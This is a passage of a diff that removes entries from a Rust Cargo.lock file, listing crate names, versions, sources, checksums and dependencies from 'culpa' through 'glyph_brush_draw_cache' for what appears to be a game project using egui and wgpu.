-checksum = "b365fabc795046672053e29c954733ec3b05e4be654ab130fe8f1f94d7051f35"
-
-[[package]]
-name = "culpa"
-version = "1.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5ae0bfe9317b1cb4ff5a56d766ee4b157b3e1f47f11979253570e88d10fd1fd3"
-dependencies = [
- "culpa-macros",
-]
-
-[[package]]
-name = "culpa-macros"
-version = "1.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1234e1717066d3c71dcf89b75e7b586299e41204d361db56ec51e6ded5014279"
-dependencies = [
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "syn 2.0.53",
-]
-
-[[package]]
-name = "d3d12"
-version = "0.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e16e44ab292b1dddfdaf7be62cfd8877df52f2f3fde5858d95bab606be259f20"
-dependencies = [
- "bitflags 2.5.0",
- "libloading 0.8.3",
- "winapi",
-]
-
-[[package]]
-name = "daggy"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9293a0da7d1bc1f30090ece4d9f9de79a07be7302ddb00e5eb1fefb6ee6409e2"
-dependencies = [
- "petgraph 0.4.13",
-]
-
-[[package]]
-name = "darling"
-version = "0.13.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a01d95850c592940db9b8194bc39f4bc0e89dee5c4265e4b1807c34a9aba453c"
-dependencies = [
- "darling_core 0.13.4",
- "darling_macro 0.13.4",
-]
-
-[[package]]
-name = "darling"
-version = "0.20.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "54e36fcd13ed84ffdfda6f5be89b31287cbb80c439841fe69e04841435464391"
-dependencies = [
- "darling_core 0.20.8",
- "darling_macro 0.20.8",
-]
-
-[[package]]
-name = "darling_core"
-version = "0.13.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "859d65a907b6852c9361e3185c862aae7fafd2887876799fa55f5f99dc40d610"
-dependencies = [
- "fnv",
- "ident_case",
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "strsim 0.10.0",
- "syn 1.0.109",
-]
-
-[[package]]
-name = "darling_core"
-version = "0.20.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9c2cf1c23a687a1feeb728783b993c4e1ad83d99f351801977dd809b48d0a70f"
-dependencies = [
- "fnv",
- "ident_case",
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "syn 2.0.53",
-]
-
-[[package]]
-name = "darling_macro"
-version = "0.13.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9c972679f83bdf9c42bd905396b6c3588a843a17f0f16dfcfa3e2c5d57441835"
-dependencies = [
- "darling_core 0.13.4",
- "quote 1.0.35",
- "syn 1.0.109",
-]
-
-[[package]]
-name = "darling_macro"
-version = "0.20.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a668eda54683121533a393014d8692171709ff57a7d61f187b6e782719f8933f"
-dependencies = [
- "darling_core 0.20.8",
- "quote 1.0.35",
- "syn 2.0.53",
-]
-
-[[package]]
-name = "data-encoding"
-version = "2.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7e962a19be5cfc3f3bf6dd8f61eb50107f356ad6270fbb3ed41476571db78be5"
-
-[[package]]
-name = "debugid"
-version = "0.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bef552e6f588e446098f6ba40d89ac146c8c7b64aade83c051ee00bb5d2bc18d"
-dependencies = [
- "uuid",
-]
-
-[[package]]
-name = "deflate"
-version = "1.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c86f7e25f518f4b81808a2cf1c50996a61f5c2eb394b2393bd87f2a4780a432f"
-dependencies = [
- "adler32",
-]
-
-[[package]]
-name = "deranged"
-version = "0.3.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b42b6fa04a440b495c8b04d0e71b707c585f83cb9cb28cf8cd0d976c315e31b4"
-dependencies = [
- "powerfmt",
-]
-
-[[package]]
-name = "deunicode"
-version = "1.4.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b6e854126756c496b8c81dec88f9a706b15b875c5849d4097a3854476b9fdf94"
-
-[[package]]
-name = "digest"
-version = "0.10.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292"
-dependencies = [
- "block-buffer",
- "crypto-common",
-]
-
-[[package]]
-name = "directories-next"
-version = "2.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "339ee130d97a610ea5a5872d2bbb130fdf68884ff09d3028b81bec8a1ac23bbc"
-dependencies = [
- "cfg-if 1.0.0",
- "dirs-sys-next",
-]
-
-[[package]]
-name = "dirs"
-version = "4.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ca3aa72a6f96ea37bbc5aa912f6788242832f75369bdfdadcb0e38423f100059"
-dependencies = [
- "dirs-sys 0.3.7",
-]
-
-[[package]]
-name = "dirs"
-version = "5.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "44c45a9d03d6676652bcb5e724c7e988de1acad23a711b5217ab9cbecbec2225"
-dependencies = [
- "dirs-sys 0.4.1",
-]
-
-[[package]]
-name = "dirs-next"
-version = "2.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b98cf8ebf19c3d1b223e151f99a4f9f0690dca41414773390fc824184ac833e1"
-dependencies = [
- "cfg-if 1.0.0",
- "dirs-sys-next",
-]
-
-[[package]]
-name = "dirs-sys"
-version = "0.3.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1b1d1d91c932ef41c0f2663aa8b0ca0342d444d842c06914aa0a7e352d0bada6"
-dependencies = [
- "libc",
- "redox_users",
- "winapi",
-]
-
-[[package]]
-name = "dirs-sys"
-version = "0.4.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "520f05a5cbd335fae5a99ff7a6ab8627577660ee5cfd6a94a6a929b52ff0321c"
-dependencies = [
- "libc",
- "option-ext",
- "redox_users",
- "windows-sys 0.48.0",
-]
-
-[[package]]
-name = "dirs-sys-next"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4ebda144c4fe02d1f7ea1a7d9641b6fc6b580adcfa024ae48797ecdeb6825b4d"
-dependencies = [
- "libc",
- "redox_users",
- "winapi",
-]
-
-[[package]]
-name = "discord-sdk"
-version = "0.3.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dc3d7a4f9bc39006b732a01d63b34ff1518313313d707cb18cf6187d2124f7f4"
-dependencies = [
- "anyhow",
- "app_dirs2",
- "async-trait",
- "bitflags 2.5.0",
- "crossbeam-channel",
- "data-encoding",
- "num-traits",
- "parking_lot 0.12.1",
- "serde",
- "serde_json",
- "serde_repr",
- "thiserror",
- "time",
- "tokio",
- "tracing",
- "url",
- "winreg 0.52.0",
-]
-
-[[package]]
-name = "dispatch"
-version = "0.1.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "04e93ca78226c51902d7aa8c12c988338aadd9e85ed9c6be8aaac39192ff3605"
-
-[[package]]
-name = "dispatch"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bd0c93bb4b0c6d9b77f4435b0ae98c24d17f1c45b2ff844c6151a07256ca923b"
-
-[[package]]
-name = "displaydoc"
-version = "0.2.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "487585f4d0c6655fe74905e2504d8ad6908e4db67f744eb140876906c2f3175d"
-dependencies = [
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "syn 2.0.53",
-]
-
-[[package]]
-name = "dlib"
-version = "0.5.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "330c60081dcc4c72131f8eb70510f1ac07223e5d4163db481a04a0befcffa412"
-dependencies = [
- "libloading 0.8.3",
-]
-
-[[package]]
-name = "dot_vox"
-version = "5.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dd05cab02d6074145c6f92ddf1b57357e4bc1424f87c790c044de62bdc94c13a"
-dependencies = [
- "ahash 0.8.11",
- "lazy_static",
- "log",
- "nom",
-]
-
-[[package]]
-name = "downcast-rs"
-version = "1.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9ea835d29036a4087793836fa931b08837ad5e957da9e23886b29586fb9b6650"
-
-[[package]]
-name = "drop_guard"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2c4a817d8b683f6e649aed359aab0c47a875377516bb5791d0f7e46d9066d209"
-
-[[package]]
-name = "ecolor"
-version = "0.23.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cfdf4e52dbbb615cfd30cf5a5265335c217b5fd8d669593cea74a517d9c605af"
-dependencies = [
- "bytemuck",
-]
-
-[[package]]
-name = "egui"
-version = "0.23.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8bd69fed5fcf4fbb8225b24e80ea6193b61e17a625db105ef0c4d71dde6eb8b7"
-dependencies = [
- "ahash 0.8.11",
- "epaint",
- "nohash-hasher",
-]
-
-[[package]]
-name = "egui_plot"
-version = "0.23.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c7f33a00fe8eb1ba56535b3dbacdecc7a1365a328908a97c5f3c81bb466be72b"
-dependencies = [
- "egui",
-]
-
-[[package]]
-name = "egui_wgpu_backend"
-version = "0.26.0"
-source = "git+https://github.com/hasenbanck/egui_wgpu_backend.git?rev=34691d4e9149deb9cd0bb8cbb5a56bffebf47588#34691d4e9149deb9cd0bb8cbb5a56bffebf47588"
-dependencies = [
- "bytemuck",
- "egui",
- "wgpu",
-]
-
-[[package]]
-name = "egui_winit_platform"
-version = "0.20.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cff2b0729f7c0ae1d7fb4a95aa4c3432d1a1d03476b22b2946247504a012cea4"
-dependencies = [
- "egui",
- "winit",
-]
-
-[[package]]
-name = "either"
-version = "1.10.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "11157ac094ffbdde99aa67b23417ebdd801842852b500e395a45a9c0aac03e4a"
-
-[[package]]
-name = "emath"
-version = "0.23.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1ef2b29de53074e575c18b694167ccbe6e5191f7b25fe65175a0d905a32eeec0"
-dependencies = [
- "bytemuck",
-]
-
-[[package]]
-name = "encode_unicode"
-version = "0.3.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a357d28ed41a50f9c765dbfe56cbc04a64e53e5fc58ba79fbc34c10ef3df831f"
-
-[[package]]
-name = "encoding_rs"
-version = "0.8.33"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7268b386296a025e474d5140678f75d6de9493ae55a5d709eeb9dd08149945e1"
-dependencies = [
- "cfg-if 1.0.0",
-]
-
-[[package]]
-name = "endian-type"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c34f04666d835ff5d62e058c3995147c06f42fe86ff053337632bca83e42702d"
-
-[[package]]
-name = "enum-as-inner"
-version = "0.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5ffccbb6966c05b32ef8fbac435df276c4ae4d3dc55a8cd0eb9745e6c12f546a"
-dependencies = [
- "heck 0.4.1",
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "syn 2.0.53",
-]
-
-[[package]]
-name = "enum-map"
-version = "2.7.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6866f3bfdf8207509a033af1a75a7b08abda06bbaaeae6669323fd5a097df2e9"
-dependencies = [
- "enum-map-derive",
- "serde",
-]
-
-[[package]]
-name = "enum-map-derive"
-version = "0.17.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f282cfdfe92516eb26c2af8589c274c7c17681f5ecc03c18255fe741c6aa64eb"
-dependencies = [
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "syn 2.0.53",
-]
-
-[[package]]
-name = "enumset"
-version = "1.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "226c0da7462c13fb57e5cc9e0dc8f0635e7d27f276a3a7fd30054647f669007d"
-dependencies = [
- "enumset_derive",
-]
-
-[[package]]
-name = "enumset_derive"
-version = "0.8.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e08b6c6ab82d70f08844964ba10c7babb716de2ecaeab9be5717918a5177d3af"
-dependencies = [
- "darling 0.20.8",
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "syn 2.0.53",
-]
-
-[[package]]
-name = "epaint"
-version = "0.23.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "58067b840d009143934d91d8dcb8ded054d8301d7c11a517ace0a99bb1e1595e"
-dependencies = [
- "ab_glyph",
- "ahash 0.8.11",
- "bytemuck",
- "ecolor",
- "emath",
- "nohash-hasher",
- "parking_lot 0.12.1",
-]
-
-[[package]]
-name = "equivalent"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5"
-
-[[package]]
-name = "errno"
-version = "0.3.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a258e46cdc063eb8519c00b9fc845fc47bcfca4130e2f08e88665ceda8474245"
-dependencies = [
- "libc",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "error-code"
-version = "2.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "64f18991e7bf11e7ffee451b5318b5c1a73c52d0d0ada6e5a3017c8c1ced6a21"
-dependencies = [
- "libc",
- "str-buf",
-]
-
-[[package]]
-name = "error-code"
-version = "3.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a0474425d51df81997e2f90a21591180b38eccf27292d755f3e30750225c175b"
-
-[[package]]
-name = "euc"
-version = "0.5.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0947d06646d28a4ac2862ac5eadc1062704d61ee398b3baba8b4a21e2f1ef5ed"
-dependencies = [
- "vek 0.14.1",
-]
-
-[[package]]
-name = "euclid"
-version = "0.22.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "87f253bc5c813ca05792837a0ff4b3a580336b224512d48f7eda1d7dd9210787"
-dependencies = [
- "num-traits",
-]
-
-[[package]]
-name = "event-listener"
-version = "5.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2b5fb89194fa3cad959b833185b3063ba881dbfc7030680b314250779fb4cc91"
-dependencies = [
- "concurrent-queue",
- "parking",
- "pin-project-lite",
-]
-
-[[package]]
-name = "event-listener-strategy"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "feedafcaa9b749175d5ac357452a9d41ea2911da598fde46ce1fe02c37751291"
-dependencies = [
- "event-listener",
- "pin-project-lite",
-]
-
-[[package]]
-name = "fallible-iterator"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2acce4a10f12dc2fb14a218589d4f1f62ef011b2d0cc4b3cb1bba8e94da14649"
-
-[[package]]
-name = "fallible-streaming-iterator"
-version = "0.1.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7360491ce676a36bf9bb3c56c1aa791658183a54d2744120f27285738d90465a"
-
-[[package]]
-name = "fastrand"
-version = "2.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "25cbce373ec4653f1a01a31e8a5e5ec0c622dc27ff9c4e6606eefef5cbbed4a5"
-
-[[package]]
-name = "fd-lock"
-version = "4.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7e5768da2206272c81ef0b5e951a41862938a6070da63bcea197899942d3b947"
-dependencies = [
- "cfg-if 1.0.0",
- "rustix",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "fdeflate"
-version = "0.3.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4f9bfee30e4dedf0ab8b422f03af778d9612b63f502710fc500a334ebe2de645"
-dependencies = [
- "simd-adler32",
-]
-
-[[package]]
-name = "filetime"
-version = "0.2.23"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1ee447700ac8aa0b2f2bd7bc4462ad686ba06baa6727ac149a2d6277f0d240fd"
-dependencies = [
- "cfg-if 1.0.0",
- "libc",
- "redox_syscall 0.4.1",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "find_folder"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9f6d018fb95a0b59f854aed68ecd96ce2b80af7911b92b1fed3c4b1fa516b91b"
-
-[[package]]
-name = "fixedbitset"
-version = "0.1.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "86d4de0081402f5e88cdac65c8dcdcc73118c1a7a465e2a05f0da05843a8ea33"
-
-[[package]]
-name = "fixedbitset"
-version = "0.4.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0ce7134b9999ecaf8bcd65542e436736ef32ddca1b3e06094cb6ec5755203b80"
-
-[[package]]
-name = "flate2"
-version = "1.0.28"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "46303f565772937ffe1d394a4fac6f411c6013172fadde9dcdb1e147a086940e"
-dependencies = [
- "crc32fast",
- "miniz_oxide",
-]
-
-[[package]]
-name = "float-cmp"
-version = "0.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "98de4bbd547a563b716d8dfa9aad1cb19bfab00f4fa09a6a4ed21dbcf44ce9c4"
-dependencies = [
- "num-traits",
-]
-
-[[package]]
-name = "fluent"
-version = "0.16.0"
-source = "git+https://github.com/juliancoffee/fluent-rs.git?branch=patched#929cf9512de121cce9b4cbf1cb860cd3294a1cd9"
-dependencies = [
- "fluent-bundle",
- "unic-langid",
-]
-
-[[package]]
-name = "fluent-bundle"
-version = "0.15.2"
-source = "git+https://github.com/juliancoffee/fluent-rs.git?branch=patched#929cf9512de121cce9b4cbf1cb860cd3294a1cd9"
-dependencies = [
- "fluent-langneg",
- "fluent-syntax",
- "intl-memoizer",
- "intl_pluralrules",
- "rustc-hash",
- "self_cell 0.10.3",
- "smallvec",
- "unic-langid",
-]
-
-[[package]]
-name = "fluent-langneg"
-version = "0.13.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2c4ad0989667548f06ccd0e306ed56b61bd4d35458d54df5ec7587c0e8ed5e94"
-dependencies = [
- "unic-langid",
-]
-
-[[package]]
-name = "fluent-syntax"
-version = "0.11.0"
-source = "git+https://github.com/juliancoffee/fluent-rs.git?branch=patched#929cf9512de121cce9b4cbf1cb860cd3294a1cd9"
-dependencies = [
- "thiserror",
-]
-
-[[package]]
-name = "flume"
-version = "0.11.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "55ac459de2512911e4b674ce33cf20befaba382d05b62b008afc1c8b57cbf181"
-dependencies = [
- "futures-core",
- "futures-sink",
- "nanorand",
- "spin 0.9.8",
-]
-
-[[package]]
-name = "fnv"
-version = "1.0.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1"
-
-[[package]]
-name = "foreign-types"
-version = "0.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1"
-dependencies = [
- "foreign-types-shared 0.1.1",
-]
-
-[[package]]
-name = "foreign-types"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d737d9aa519fb7b749cbc3b962edcf310a8dd1f4b67c91c4f83975dbdd17d965"
-dependencies = [
- "foreign-types-macros",
- "foreign-types-shared 0.3.1",
-]
-
-[[package]]
-name = "foreign-types-macros"
-version = "0.2.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1a5c6c585bc94aaf2c7b51dd4c2ba22680844aba4c687be581871a6f518c5742"
-dependencies = [
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "syn 2.0.53",
-]
-
-[[package]]
-name = "foreign-types-shared"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b"
-
-[[package]]
-name = "foreign-types-shared"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "aa9a19cbb55df58761df49b23516a86d432839add4af60fc256da840f66ed35b"
-
-[[package]]
-name = "form_urlencoded"
-version = "1.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456"
-dependencies = [
- "percent-encoding",
-]
-
-[[package]]
-name = "fs-set-times"
-version = "0.20.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "033b337d725b97690d86893f9de22b67b80dcc4e9ad815f348254c38119db8fb"
-dependencies = [
- "io-lifetimes",
- "rustix",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "fsevent-sys"
-version = "4.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "76ee7a02da4d231650c7cea31349b889be2f45ddb3ef3032d2ec8185f6313fd2"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "funty"
-version = "2.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e6d5a32815ae3f33302d95fdcb2ce17862f8c65363dcfd29360480ba1001fc9c"
-
-[[package]]
-name = "futures"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "645c6916888f6cb6350d2550b80fb63e734897a8498abe35cfb732b6487804b0"
-dependencies = [
- "futures-channel",
- "futures-core",
- "futures-executor",
- "futures-io",
- "futures-sink",
- "futures-task",
- "futures-util",
-]
-
-[[package]]
-name = "futures-channel"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "eac8f7d7865dcb88bd4373ab671c8cf4508703796caa2b1985a9ca867b3fcb78"
-dependencies = [
- "futures-core",
- "futures-sink",
-]
-
-[[package]]
-name = "futures-core"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dfc6580bb841c5a68e9ef15c77ccc837b40a7504914d52e47b8b0e9bbda25a1d"
-
-[[package]]
-name = "futures-executor"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a576fc72ae164fca6b9db127eaa9a9dda0d61316034f33a0a0d4eda41f02b01d"
-dependencies = [
- "futures-core",
- "futures-task",
- "futures-util",
- "num_cpus",
-]
-
-[[package]]
-name = "futures-io"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a44623e20b9681a318efdd71c299b6b222ed6f231972bfe2f224ebad6311f0c1"
-
-[[package]]
-name = "futures-macro"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "87750cf4b7a4c0625b1529e4c543c2182106e4dedc60a2a6455e00d212c489ac"
-dependencies = [
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "syn 2.0.53",
-]
-
-[[package]]
-name = "futures-sink"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9fb8e00e87438d937621c1c6269e53f536c14d3fbd6a042bb24879e57d474fb5"
-
-[[package]]
-name = "futures-task"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "38d84fa142264698cdce1a9f9172cf383a0c82de1bddcf3092901442c4097004"
-
-[[package]]
-name = "futures-util"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3d6401deb83407ab3da39eba7e33987a73c3df0c82b4bb5813ee871c19c41d48"
-dependencies = [
- "futures-channel",
- "futures-core",
- "futures-io",
- "futures-macro",
- "futures-sink",
- "futures-task",
- "memchr",
- "pin-project-lite",
- "pin-utils",
- "slab",
-]
-
-[[package]]
-name = "fxhash"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c31b6d751ae2c7f11320402d34e41349dd1016f8d5d45e48c4312bc8625af50c"
-dependencies = [
- "byteorder",
-]
-
-[[package]]
-name = "fxprof-processed-profile"
-version = "0.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "27d12c0aed7f1e24276a241aadc4cb8ea9f83000f34bc062b7cc2d51e3b0fabd"
-dependencies = [
- "bitflags 2.5.0",
- "debugid",
- "fxhash",
- "serde",
- "serde_json",
-]
-
-[[package]]
-name = "generator"
-version = "0.7.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5cc16584ff22b460a382b7feec54b23d2908d858152e5739a120b949293bd74e"
-dependencies = [
- "cc",
- "libc",
- "log",
- "rustversion",
- "windows 0.48.0",
-]
-
-[[package]]
-name = "generic-array"
-version = "0.14.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a"
-dependencies = [
- "typenum",
- "version_check",
-]
-
-[[package]]
-name = "gethostname"
-version = "0.2.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c1ebd34e35c46e00bb73e81363248d627782724609fe1b6396f553f68fe3862e"
-dependencies = [
- "libc",
- "winapi",
-]
-
-[[package]]
-name = "gethostname"
-version = "0.4.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0176e0459c2e4a1fe232f984bca6890e681076abb9934f6cea7c326f3fc47818"
-dependencies = [
- "libc",
- "windows-targets 0.48.5",
-]
-
-[[package]]
-name = "getrandom"
-version = "0.1.16"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8fc3cb4d91f53b50155bdcfd23f6a4c39ae1969c2ae85982b135750cccaf5fce"
-dependencies = [
- "cfg-if 1.0.0",
- "libc",
- "wasi 0.9.0+wasi-snapshot-preview1",
-]
-
-[[package]]
-name = "getrandom"
-version = "0.2.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "190092ea657667030ac6a35e305e62fc4dd69fd98ac98631e5d3a2b1575a12b5"
-dependencies = [
- "cfg-if 1.0.0",
- "js-sys",
- "libc",
- "wasi 0.11.0+wasi-snapshot-preview1",
- "wasm-bindgen",
-]
-
-[[package]]
-name = "gilrs"
-version = "0.10.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "499067aa54af19f88732dc418f61f23d5912de1518665bb0eca034ca0d07574c"
-dependencies = [
- "fnv",
- "gilrs-core",
- "log",
- "serde",
- "uuid",
- "vec_map",
-]
-
-[[package]]
-name = "gilrs-core"
-version = "0.5.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "85c132270a155f2548e67d66e731075c336c39098afc555752f3df8f882c720e"
-dependencies = [
- "core-foundation",
- "inotify 0.10.2",
- "io-kit-sys",
- "js-sys",
- "libc",
- "libudev-sys",
- "log",
- "nix 0.28.0",
- "serde",
- "uuid",
- "vec_map",
- "wasm-bindgen",
- "web-sys",
- "windows 0.54.0",
-]
-
-[[package]]
-name = "gimli"
-version = "0.28.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4271d37baee1b8c7e4b708028c57d816cf9d2434acb33a549475f78c181f6253"
-dependencies = [
- "fallible-iterator",
- "indexmap",
- "stable_deref_trait",
-]
-
-[[package]]
-name = "gl_generator"
-version = "0.14.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1a95dfc23a2b4a9a2f5ab41d194f8bfda3cabec42af4e39f08c339eb2a0c124d"
-dependencies = [
- "khronos_api",
- "log",
- "xml-rs",
-]
-
-[[package]]
-name = "glam"
-version = "0.10.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "579160312273c954cc51bd440f059dde741029ac8daf8c84fece76cb77f62c15"
-dependencies = [
- "version_check",
-]
-
-[[package]]
-name = "glob"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b"
-
-[[package]]
-name = "glow"
-version = "0.13.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bd348e04c43b32574f2de31c8bb397d96c9fcfa1371bd4ca6d8bdc464ab121b1"
-dependencies = [
- "js-sys",
- "slotmap",
- "wasm-bindgen",
- "web-sys",
-]
-
-[[package]]
-name = "glutin_wgl_sys"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6c8098adac955faa2d31079b65dc48841251f69efd3ac25477903fc424362ead"
-dependencies = [
- "gl_generator",
-]
-
-[[package]]
-name = "glyph_brush"
-version = "0.7.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a3676f482c536a985fca36ce320a5e5b8fafd7b260806742af1963b71c5dc38c"
-dependencies = [
- "glyph_brush_draw_cache",
- "glyph_brush_layout",
- "ordered-float 4.2.0",
- "rustc-hash",
- "twox-hash",
-]
-
-[[package]]
-name = "glyph_brush_draw_cache"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
